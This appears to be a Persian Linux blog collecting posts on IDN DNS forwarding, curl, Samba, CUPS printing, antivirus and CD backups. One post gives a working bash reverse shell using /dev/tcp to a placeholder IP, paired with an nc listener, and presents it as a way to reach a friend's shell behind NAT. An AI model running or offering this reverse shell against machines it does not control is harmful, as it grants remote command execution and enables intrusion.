استفاده از دامنه با نام فارسی

چند ساله که داره روی اسم دامنه‌هایی با الفبایی غیرلاتین کار می‌شه. نتیجه کار یه استاندارد هست به نام IDN که خلاصه International Domain Name است. در این استاندارد نام از یه رشته غیرلاتین به کد Punycode تبدیل می‌شود.

برای دامنه‌های ایران IRNIC مسوول ثبت و نگهداری و مدیریت است. این مجموعه برای ایجاد یک دامنه فارسی به نام .ایران فعالیت کردند و الان این دامنه قابل استفاده است. مثلا اگه شما روی نشانی http://یزدانپرست.ایران.ir کلیک کنید، وارد وبلاگ خودخودمان می‌شوید. یا نشانی http://سمپاد.ایران.ir شما را به وب‌سایت انجمن دانش‌آموختگان استعدادهای درخشان می‌بره.
در هر این نام‌ها هنوز مشکلی دارند و اون اینکه هنوز لازمه که .ir به نام دامنه ,ایران اضافه بشه که به نظر جالب نمی‌یاد.
اگه شما مسوول یه isp باشید یا روی سرورهای سازمانی که توش کار می‌کنید نظارت داشته باشید می‌تونید این مشکل را با یه حقه دور بزنید.
برای اینکار لازمه که اول از همه BIND9 که معروف‌ترین DNS Server دنیا است را روی سرور اینترنت نصب کنید. بعد دو تا زون برای .ایران و .ايران اضافه کنید. (اشتباه نکنید یکیش با ی فارسی است و دیگری ي عربی! چون punnycodeها برای اونها فرق می‌کنه)
بعد به BIND9 بگین که درخواست برای تبدیل نام به آی‌پی برای این Zoneها را به سرور ns.nic.ir ارسال کنه.
توی Ubuntu برای اینکار کافیه یه فایل با این محتویات بسازید:

zone "xn--mgba3a4fra" {
        type forward;
        forwarders {194.225.70.89; 137.189.6.21; 198.6.1.162;};
};

zone "xn--mgba3a4f16a" {
        type forward;
        forwarders {194.225.70.89; 137.189.6.21; 198.6.1.162;};
};

و بعد داخل فایل named.conf این خط را اضافه کنید
فراموش نشه که بعد از راه‌اندازی مجدد BIND کلاینت‌ها را جوری تنظیم کنید که از این سرور به عنوان DNS سرور استفاده کنند.

برای امتحان می‌تونید به نشانی http://صادق.ايران بروید. اگه باز شد، شما کار را درست انجام دادین! فراموش نکنید حتما از فایرفاکس یا مرورگری که از IDN پشتیبانی می‌کنه برای تست استفاده کنید!

و تو چه دانی که cURL‌ چیست؟

گنو/لینوکس مجموعه‌ای از ابزارهای خیلی کوچولو اما بسیار پرقدرت است. این ابزارها به سادگی با هم ترکیب می‌شوند و نتیجه‌اش این میشه که کارهای خیلی پیچیده را می‌شه به سادگی انجام داد.
یکی از این ابزاهای خیلی خوب curl‌ است. در معرفی curl آمده: ابزاری است برای ارسال داده «از» یا «به» سرور با پروتکل‌هایی که پشتیبانی میکنه (مثلا http, https, ftp, telnet‌ و …) این ابزار به نحوی طراحی شده است که بدون نیاز به ارتباط با کاربر وظیفه‌ش را انجام بده.

یک مثال:
سایتی به نام identi.ca که یک پیاده‌سازی از ابزار StatusNet برای Microbloggin (مشابه توییتر) است به شما این اجازه را می‌ده که با استفاده از API پست خودتون را ارسال/دریافت کنید.
روش ارسال به این نحو است که باید محتوی توییت خودتون را به نشانی http://identi.ca/api/statuses/update.xml پست کنید. البته شناسه کاربری و کلمه عبور باید از طریق http authentication به سرور اعلام کنید.
برای این کار یک دستور curl کافیه:

curl http://identi.ca/api/statuses/update.xml  -u USERNAME:PASSWORD -d "status=This is a test Dent from Shell" 

به همین سادگی.
اگه دوست داشته باشید می‌تونید مثلا این دستور را با یه دستور دیگه قاطی کنید که نتیجه اون دستور را dent کنه. مثلا من یه اعلام ساعت با استفاده از دستور date درست کردم که با استفاده از cron سر هر ساعت گذشت زمان را به من یادآوری می‌کنه:

curl http://identi.ca/api/statuses/update.xml  -u USERNAME:PASSWORD -d "status=Now: `date +\"%Y-%m-%d %H:%M\"`"

خوبه نه؟

درختواره در لینوکس

کسایی که از سیستم عامل DOS استفاده کردن می‌دونند که یه دستور داشت به نام tree. کار این دستور این بود که لیست فایل‌ها و فولدرها را به صورت درختی نمایش می داد. توی لینوکس برای درست کردن اینجور چیزی دو راه وجود داره:
۱. استفاده از این دستور:

find . -print | sed -e 's;[^/]*/;|____;g;s;____|; |;g'

خروجی دستور شبیه‌سازی tree
یک خط دستور برای ایجاد خروجی شبیه به خروجی دستور tree در dos

۲. نصب بسته tree برای نصب بسته tree در توزیع‌های debian base‌ مثل ubuntu می‌توانید از این دستور استفاده کنید:

apt-get install tree

خروجی دستور tree در ubuntu

هر دوش به خوبی کار می‌کنه. اما من دومی را به دلیل داشتن کلی امکانات اضافی (مثلا نمایش رنگی، نمایش حجم فایل‌ها و …) ترجیح می‌دم

مشکل ویندوز و samba

وقتی سرور samba داشته باشی و کلاینت‌ها توی ویندوز باشند یه مشکلی پیش میاد گاهی! اگه یه کاربر با نام کاربریش وارد بشه نمی‌شه با کاربر دیگه‌ای که به منابع دیگه دسترسی داره وارد بشه. البته این مشکل فقط توی محیط گرافیکی ویندوز وجود داره.

راه حل استفاده از دستور net use است در ویندوز

مثلا من با کاربر sadeq به سرور وارد می‌شم. به همین دلیل به فایل‌های خانگی خودم که توی فولدر \\server\sadeq است دسترسی دارم. بعد یه کاری پیش میاد یکی از دوستان که از نام کاربری elec استفاده می‌کنه می‌خواهد از روی کامپیوتر من یه فایل روی سرور بریزه. وقتی می‌زنه \\server\elec پیام خطا میگیره که دسترسی نداره.
راه حل مشکل اینه که این دستور اجرا بشه:

net use \\server\elec *

با این دستور، رمز کاربر مالک elec پرسیده می‌شه و اگه درست باشه اتصال به سرور برای این منبع ایجاد می‌شه و من می‌تونم با زدن نشونی \\server\elec به فایل‌های کاربر elec دسترسی پیدا کنم.

استفاده از چاپگر سرور لینوکس در ویندوز هفت!

ما یه سرور توی شرکت داریم که سیستم عاملش لینوکس است. چاپگر شرکت به این سیستم وصله و همه وقتی درخواست چاپ دارند باید دستور چاپ را به این چاپگر بفرستند.
تا چند روز قبل برای اینکه کلاینت‌های ویندوزی بتونند از چاپگر استفاده کنند از ترکیب samba و cups استفاده می‌کردیم. بعد از اومدن ویندوز هفت! مشکلی پیش اومده بود. با این ویندوز نمی‌شد به چاپگر وصل شد.
سه شنبه همین هفته بود که محمدرضا راه حل را پیدا کرد. به سادگی به جای استفاده از سمبا از پروتکل ipp (چاپ اینترنتی) می‌شه استفاده کرد. ipp به صورت توکار در cups پشتیبانی می‌شه به چه خوبی!
در قسمت add printer نوع چاپگر را network printer انتخاب میکنیم، و بعد گزینه connect to a printer on Internet or on home or office network را انتخاب می‌کنیم. بعد توی قسمت url اینطوری می‌نویسیم:
http://server:631/PrinterName
فکر کنم واضح باشه که به جای server باید اسم سرور خودتون را بنویسد و به جای PrinterName هم اسم چاپگرتون در cups.
بعد نوع چاپگر را انتخاب می‌کنید. بعد از نصب درایورها، چاپگر آماده استفاده است!

به همین سادگی به همین خوشمزگی!
اگه خواسته باشید که با یوزر/پسورد خاصی به چاپگر وصل بشین که امکانات خاص بهتون داده بشه، لازمه که توی properties چاپگر در برگه Ports‌ کلید ٰConfigure Ports را انتخاب کنید و اونجا یوزر/پسورد مورد نظر را وارد کنید.

برای مدیران سیستم:
راهنمای راه‌اندازی و تنظیم و استفاده از ipp روی linux  و windows را از اینجا می‌تونید بخونید، این راهنما ۳ صفحه است. در صفحه اول سرویس‌دهنده cups را تنظیم می‌کنید. در صفحه دوم یک چاپگر (در راهنما hp laserjet 1020) را به cups‌ معرفی می‌کنید و در صفحه سوم روی کلاینت window xp از چاپگر استفاده می‌کنید. مراحل نصب در windows vista و windows 7 هم نباید خیلی متفاوت باشه. در شرکت چاپگر را برای xp ‌و ویندوز ۷ به سادگی نصب شد.

یک راهنمای خوب هم اینجا ست. خلاصه و مفید.

شل برعکسی! فقط برای لینوکسی‌ها!

بعضی وقت‌ها نیاز میشه که به شل یه لینوکس از راه دور دسترسی پیدا کنید. اما این شل پشت یه فایروالی، natـی، چیزی است که در عمل به شما اجازه دسترسی نمیده.

برای رفع مشکل از یه روشی میشه استفاده کرد به اسم reverse shell!

یه سری ابزار برای اینکار وجود داره اما یه راه سریع هم هست! یه دستور داریم به نام nc که خیلی مفیده! با این دستور می‌تونید یه پورت روی کامپیوتر خودتون باز کنید و هر کی بهش وصل میشه را مشاهده کنید. بعد هر چی شما بگین ارسال بشه برای اون و هرچی هم اون میفرسته شما روی مانیتور ببینید. البته این یه کاربرد این ابزاره که برای کار ما به درد می‌خوره:
روی کامپیوتر خودتون دستور زیر را اجرا کنید:

nc -l -p 8080 -vvv

بعد به دوستتون بگین که روی کامپیوتر خودش این دو تا دستور را اجرا کنه:

exec 5<>/dev/tcp/YOUR_PUBLIC_IP_ADDRESS/8080
cat <&5 | while read line; do $line 2>&5 >&5; done

با اجرای دستور دوم توسط دوستتون شما به یه شل ساده دسترسی پیدا می‌کنید و هر دستوری که تایپ کنید ارسال می‌شه روی کامپیوتر دوستتون و اونجا اجرا می‌شه و خروجیش هم برای شما برمیگرده!
واضح است که به جای YOUR_PUBLIC_IP_ADDRESS باید آی‌پی اینترنت کامپیوتر خودتون را بزارین. که البته باید از اینترنت قابل دسترس باشد. و البته می‌تونید در هر دو طرف ۸۰۸۰ را با یه شماره پورت دیگه عوض کنید!
به همین سادگی به همین خوشمزگی! اینه قدرت لینوکس! حالا ویندوزیا خودشون را بکشند نرم‌افزار team viewer پیدا می‌کنند! 😉
البته شعار گوگل فراموش نشه! not be evil!

پ.ن.۱: این روش را اینجا خوندم
پ.ن.۲: nc در معرفی خودش می‌گه:

nc: TCP/IP swiss army knife

معنی اون هم که واضحه نه؟

فقط برای ویندوزی‌ها!

زیاد میشه که در مورد ضد ویروس خوب می‌پرسند. البته همه می‌دونند این مشکل فقط واسه ویندوزی‌ها یه معضله و واسه لینوکسی‌ها و حتی کاربران Mac مساله‌ای نیست 😉

اینروزها به نظر می‌رسه avg یکی از بهترین ضدویروس‌هایی است که میشه به رایگان از آن استفاده کرد.
این ضد ویروس در سه مدل منتشر می‌شه که مدل رایگانش فقط و فقط ضد ویروس است و کاری به کار کرم و ویروس‌های آنلاین نداره. اما اگر از FireFox استفاده کنید و سراغ سایت‌های کرک و کی‌جن هم نرید تا حد خیلی زیادی می‌تونه خیالتون را راحت کنه. لازم به ذکره که این ضدویروس مرتب به روز میشه و گویا سال قبل جزء بهترین ضدویروس‌ها بوده است.
بقیه مدل‌ها پولیه و به درد اکثر کاربرای خانگی ایرانی نمی‌خوره. البته اگه خواستنید پول بدین من هنوز هم KasperSky Internet security را پیشنهاد می‌کنم!

اشکال این آنتی‌ویروس اینه که موقع نصب یه فایل کوچولو بهتون میده زیر یک مگابایت و بعد از اجرا مجبورین صبر کنید تا کل اطلاعات نصب که کم هم نیست از اینترنت دانلود بشه برای نصب.
البته این مشکل راه حل داره! از نشانی www.avg.com/in-en/download-file-ins-afg می‌تونید فایل نصب offline را دانلود کنید. امروز که من تست کردم حدود ۷۷ مگابایت حجمش بود.
با این یکی نیازی به نصب هیچ چیز دیگه ندارید فقط برای به روزآوری اطلاعات ویروس‌ها اکیدا توصیه می‌کنم حداقل روزی یکبار به اینترنت وصل بشین و اجازه بدین که این avg خودش را به‌روز کنه.

و اما مهمترین توصیه و کارآمدترین روش برای پیشگیری از ویروسی شدن: از گنو/لینوکس استفاده کنید. من برای شروع پارسیکس و Ubuntu را پیشنهاد می‌کنم

ساخت فایل iso و مشاهده محتویات آن در لینوکس

ما یه سرور توی شرکت داریم که کلی فایل روی اون هست. هر چند یه بار هم باید از این اطلاعات پشتیبان تهیه کنیم روی CD و بزاریم توی آرشیو.
چون سرور لینوکسه خیلی از کارها را اتوماتیک کردیم. پشتیبان‌های روزانه/هفتگی با استفاده از cron تهیه می‌شوند و در یک فولدر ذخیره می‌شوند.
برای کپی کردن این اطلاعات روی سی‌دی قبلا دستی می‌رفتیم و اطلاعات را روی سی‌دی write می‌کردیم.
امروز یه اسکریپت ساده نوشتم به این صورت:

#!/bin/bash
today=`date +%Y-%m-%d-%H%M`
genisoimage -vLJ -V "Bakup $today" -o Backup-$today.iso ./cd
isoinfo -Jf -i ./Backup-$today.iso
eject
read -p "Press any key to begin record ... " -n1 -s
eject -T
cdrecord Backup-$today.iso
eject

با این اسکریپت یه فایل iso‌ از محتویات فولد cd ساخته می‌شه با نام روز+ساعتی که دستور اجرا شده.
بعد یه لیست از فایل‌های داخل ایمیج سی‌دی تهیه می‌کنه و نشون میده.
بعد درایو سی‌دی را eject می‌کنه تا بتونیم سی‌دی را بزاریم داخل درایو، بعد که یه کلید زدیم سی‌دی را می‌کشه داخل و شروع می‌کنه به رایت کردن سی‌دی.

این اسکریپت خیلی خیلی ساده است و کلی چک و جنگولک (مثلا چک کردن اینکه این فولدر cd خالی نباشه یا اصلا اضافه کردن اسم فولدر مبدا و …) می‌شه بهش اضافه کرد.

ساده است نه؟